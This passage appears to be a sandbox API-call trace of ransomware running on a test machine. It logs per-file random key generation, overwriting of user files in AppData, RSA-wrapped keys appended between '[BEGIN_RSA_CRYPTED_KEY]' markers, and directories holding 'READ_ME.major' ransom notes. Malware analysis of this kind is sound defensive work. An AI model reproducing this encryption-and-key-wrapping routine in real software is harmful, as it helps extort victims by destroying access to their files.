dwFileAttributes=0x80) returned 1 [0206.172] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xd0) returned 0x668c50 [0206.172] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x136) returned 0x5bd3b8 [0206.172] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Windows.ContactSupport_cw5n1h2txyewy\\Settings\\settings.dat.LOG1" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.contactsupport_cw5n1h2txyewy\\settings\\settings.dat.log1"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1468 [0206.172] GetFileSizeEx (in: hFile=0x1468, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=8192) returned 1 [0206.172] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2000) returned 0x2f918d0 [0206.173] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2000) returned 0x2f9b8f8 [0206.173] ReadFile (in: hFile=0x1468, lpBuffer=0x2f918d0, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f918d0*, lpNumberOfBytesRead=0x2e3f9b4*=0x2000, lpOverlapped=0x0) returned 1 [0206.217] SetFilePointer (in: hFile=0x1468, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0206.217] WriteFile (in: hFile=0x1468, lpBuffer=0x2f9b8f8*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f9b8f8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x2000, lpOverlapped=0x0) returned 1 [0206.218] SetFilePointer (in: hFile=0x1468, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x2000 [0206.218] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0206.218] WriteFile (in: hFile=0x1468, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0206.218] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0206.218] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0206.218] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0206.218] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5a8108 [0206.219] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="tlGRsP1DwUd+IhPtzbW3PUNGOUCAl3poD/n0N9LbE6kVirXfuZpZbzT1XRsogXHw\niSmQ+WjJdhnRQSyJN0cSJdXFzKYrcZgfB0+TrDw5GAprCxExIHyMZRcyjbklmI7L\nGN4hFcZ/o98IrL5Jbt63hNHrahXaTp/5xj68sDeNUH1AJ+x1B0qXzUYLixuy2kER\n0/PMdBUGWqwhw1O9e2XAoxD9P57U/dJxXQ+dQSumdwDVGfWIKRr9f8HW1PE9Kzuw\n1jcGpKCpcC5JaLdIsa/er7tqkxQKKROIrifrm1W/0gKaDSxLWQsdpKC5LJdkZzlQ\nuaO5uGPup2CVw0Oc89kCsg==\n", pcchString=0x2e3f9a8) returned 1 [0206.219] WriteFile (in: hFile=0x1468, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0206.219] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0206.219] WriteFile (in: hFile=0x1468, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0206.219] CloseHandle (hObject=0x1468) returned 1 [0206.221] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0206.221] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Windows.ContactSupport_cw5n1h2txyewy\\Settings\\settings.dat", dwFileAttributes=0x80) returned 1 [0206.222] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x665020 [0206.222] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x11e) returned 0x60d898 [0206.222] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Windows.ContactSupport_cw5n1h2txyewy\\Settings\\settings.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.contactsupport_cw5n1h2txyewy\\settings\\settings.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1468 [0206.222] GetFileSizeEx (in: hFile=0x1468, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=8192) returned 1 [0206.222] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2000) returned 0x2f9b8f8 [0206.222] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2000) returned 0x2f8f8c8 [0206.222] ReadFile (in: hFile=0x1468, lpBuffer=0x2f9b8f8, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f9b8f8*, lpNumberOfBytesRead=0x2e3f9b4*=0x2000, lpOverlapped=0x0) returned 1 [0206.232] SetFilePointer (in: hFile=0x1468, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0206.232] WriteFile (in: hFile=0x1468, lpBuffer=0x2f8f8c8*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f8f8c8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x2000, lpOverlapped=0x0) returned 1 [0206.232] SetFilePointer (in: hFile=0x1468, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x2000 [0206.232] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0206.232] WriteFile (in: hFile=0x1468, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0206.232] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0206.232] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0206.233] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0206.233] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5a8108 [0206.233] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="m2sHI6T3JGMZve4QOZuSzYRmkDOeSN7sITLgPXmPEt7yWqXXs1WXQJbuPQt+fVhB\nF8yid1+Uvtbm+G862mtc3vUmwMDQ+DiQeok4mzwzyAk50oD6nWleS7X9WWibS5mz\nUB+FVPZcbk3hJAN6FSA/h0sUBjPynfiklUKoueJcNhuFXQN6YW0r4jfHom8zFCCu\nPgZQ5ggrtvT7g5nUuZs2s3xq+IEAI2d7fEXMR9GWBDGw23GS/bQmFL7l2fyH3cmv\nVfyehoYuMipeyVGWsR8mhkZcOnvFS0MJDOzwT3F3FeSMQykI1HWEDeyY67Yc5wep\nIS+1R6AOvrAj5T79sogqOg==\n", pcchString=0x2e3f9a8) returned 1 [0206.233] WriteFile (in: hFile=0x1468, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0206.233] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0206.233] WriteFile (in: hFile=0x1468, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0206.233] CloseHandle (hObject=0x1468) returned 1 [0206.235] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0206.235] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Windows.ContactSupport_cw5n1h2txyewy\\Settings\\roaming.lock", dwFileAttributes=0x80) returned 1 [0206.235] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x6651b0 [0206.235] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x11e) returned 0x60e550 [0206.235] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Windows.ContactSupport_cw5n1h2txyewy\\Settings\\roaming.lock" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.contactsupport_cw5n1h2txyewy\\settings\\roaming.lock"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1468 [0206.236] GetFileSizeEx (in: hFile=0x1468, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=0) returned 1 [0206.236] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x1) returned 0x59d430 [0206.236] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x1) returned 0x59d4b0 [0206.236] ReadFile (in: hFile=0x1468, lpBuffer=0x59d430, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d430*, lpNumberOfBytesRead=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0206.236] SetFilePointer (in: hFile=0x1468, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0206.236] WriteFile (in: hFile=0x1468, lpBuffer=0x59d4b0*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d4b0*, lpNumberOfBytesWritten=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0206.236] SetFilePointer (in: hFile=0x1468, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x0 [0206.236] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0206.236] WriteFile (in: hFile=0x1468, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0206.237] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0206.237] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0206.238] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0206.238] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="EDi+OZuB+oAUcVCafHO6KDF9BL02Ywnozhd5pErxHSqT8qLKlfCJ/BN8vIfH+rJ8\neK9wZk/xd21sRw+Cy5AFrsDRdT03I/uclyn58VEU4dOStt8X7I/hprLDtgDeisa4\nz4gz/M5xW1cPZrMn2wYSUfUA+7VMt4z1Zs9DhrT6WMOi1d3nWbZdgwv1ibPE3I+N\nMzlhR9pDMx8Z4C6xZvdRSduxbQtIA6yDGu8ObTLXtufQfj9GPtzRmgcIQB2rFalC\nWxxsojG3K5DZMjQ5hdP/j7YbxQoLVZFtrH5+dMMXRW13sb3TEh90cdcZkRLJjp15\nm1K1OtvfeseOlzF1JMQapg==\n", pcchString=0x2e3f9a8) returned 1 [0206.238] WriteFile (in: hFile=0x1468, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0206.238] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0206.238] WriteFile (in: hFile=0x1468, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0206.238] CloseHandle (hObject=0x1468) returned 1 [0206.240] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Windows.ContactSupport_cw5n1h2txyewy\\SystemAppData\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x788510a7, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x788510a7, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x3191c798, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f30418 [0206.241] FindNextFileW (in: hFindFile=0x2f30418, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x788510a7, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x788510a7, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x3191c798, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0206.241] FindNextFileW (in: hFindFile=0x2f30418, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3191c798, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x3191c798, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x3191c798, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0206.241] FindNextFileW (in: hFindFile=0x2f30418, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3191c798, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x3191c798, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x3191c798, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0206.241] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Windows.ContactSupport_cw5n1h2txyewy\\TempState\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x99201695, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd28ef8f4, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x3191c798, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f30518 [0206.241] FindNextFileW (in: hFindFile=0x2f30518, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x99201695, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd28ef8f4, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x3191c798, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0206.241] FindNextFileW (in: hFindFile=0x2f30518, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3191c798, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x3191c798, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x3191c798, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0206.241] FindNextFileW (in: hFindFile=0x2f30518, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3191c798, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x3191c798, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x3191c798, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0206.241] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.devicesflow_cw5n1h2txyewy\\AC\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xddce1aab, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd295fed9, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x3191c798, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f30558 [0206.242] FindNextFileW (in: hFindFile=0x2f30558, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xddce1aab, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd295fed9, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x3191c798, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0206.242] FindNextFileW (in: hFindFile=0x2f30558, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3191c798, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x3191c798, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x3191c798, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0206.242] FindNextFileW (in: hFindFile=0x2f30558, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3191c798, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x3191c798, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x3191c798, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0206.242] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.devicesflow_cw5n1h2txyewy\\AppData\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xddda05d6, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd2960774, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x3191c798, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f30658 [0206.242] FindNextFileW (in: hFindFile=0x2f30658, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xddda05d6, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd2960774, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x3191c798, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0206.242] FindNextFileW (in: hFindFile=0x2f30658, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3191c798, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x3191c798, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x3191c798, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0206.242] FindNextFileW (in: hFindFile=0x2f30658, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3191c798, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x3191c798, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x3191c798, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0206.242] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.devicesflow_cw5n1h2txyewy\\LocalCache\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xddce1aab, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd2960e32, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x3191c798, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f30718 [0206.243] FindNextFileW (in: hFindFile=0x2f30718, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xddce1aab, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd2960e32, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x3191c798, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0206.243] FindNextFileW (in: hFindFile=0x2f30718, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3191c798, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x3191c798, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x3191c798, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0206.243] FindNextFileW (in: hFindFile=0x2f30718, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3191c798, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x3191c798, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x3191c798, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0206.243] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.devicesflow_cw5n1h2txyewy\\LocalState\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xddc22ee1, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd2961813, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x3191c798, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f30798 [0206.243] FindNextFileW (in: 